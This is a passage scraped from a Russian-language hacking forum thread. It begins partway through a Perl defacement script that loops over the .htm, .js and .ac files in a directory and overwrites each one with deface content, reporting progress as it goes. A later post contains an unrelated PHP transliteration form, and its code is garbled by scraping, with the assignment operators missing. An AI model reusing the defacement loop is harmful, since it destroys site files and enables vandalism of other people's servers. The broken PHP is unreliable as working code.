         close(DEFACE) 
      } 
             print "[+]DEFACING .HTM FILES...\n"; 
          my @htm = glob("*.htm"); 
         foreach my $deface(@htm){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .JS FILES...\n"; 
       my @js = glob("*.js");
         foreach my $deface(@js){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .AC FILES...\n"; 
           my @ac = glob("*.ac");  
         foreach my $deface(@ac){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
      print "[+]Pages Should Be Defaced!\n"; 
    
    } 
    
     
  20. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    HOSTAL,О_о,ну ты дерзкий....
    ИМХО так проще
    PHP:
    <?php
    if(isset($_POST['g0'])) {
       
    $rus  'aбвгдеёжзийклмнопрстуфхчшщцъыьэюя';# словрик
       
    $rus  str_split($rus.strtoupper($rus));# Созадём массив+переводим в верхний регистр 
       
    $eng  'abvgdeejziiklmnoprstufhcssc`i\'euy';# англ словарик
       
    $eng  str_split($eng.strtoupper($eng));# тоже самое что и с рус
       
    $text str_replace($rus,$eng,$_POST['string']);# заменяем
       
    echo $text;
    } else {
       echo 
    '<form method=post>
             <textarea cols=70 rows=20 name="string">
             </textarea><br><input name="g0" type=submit value="Затранслитить:)">
             </form>'
    ;
    }         
    ?>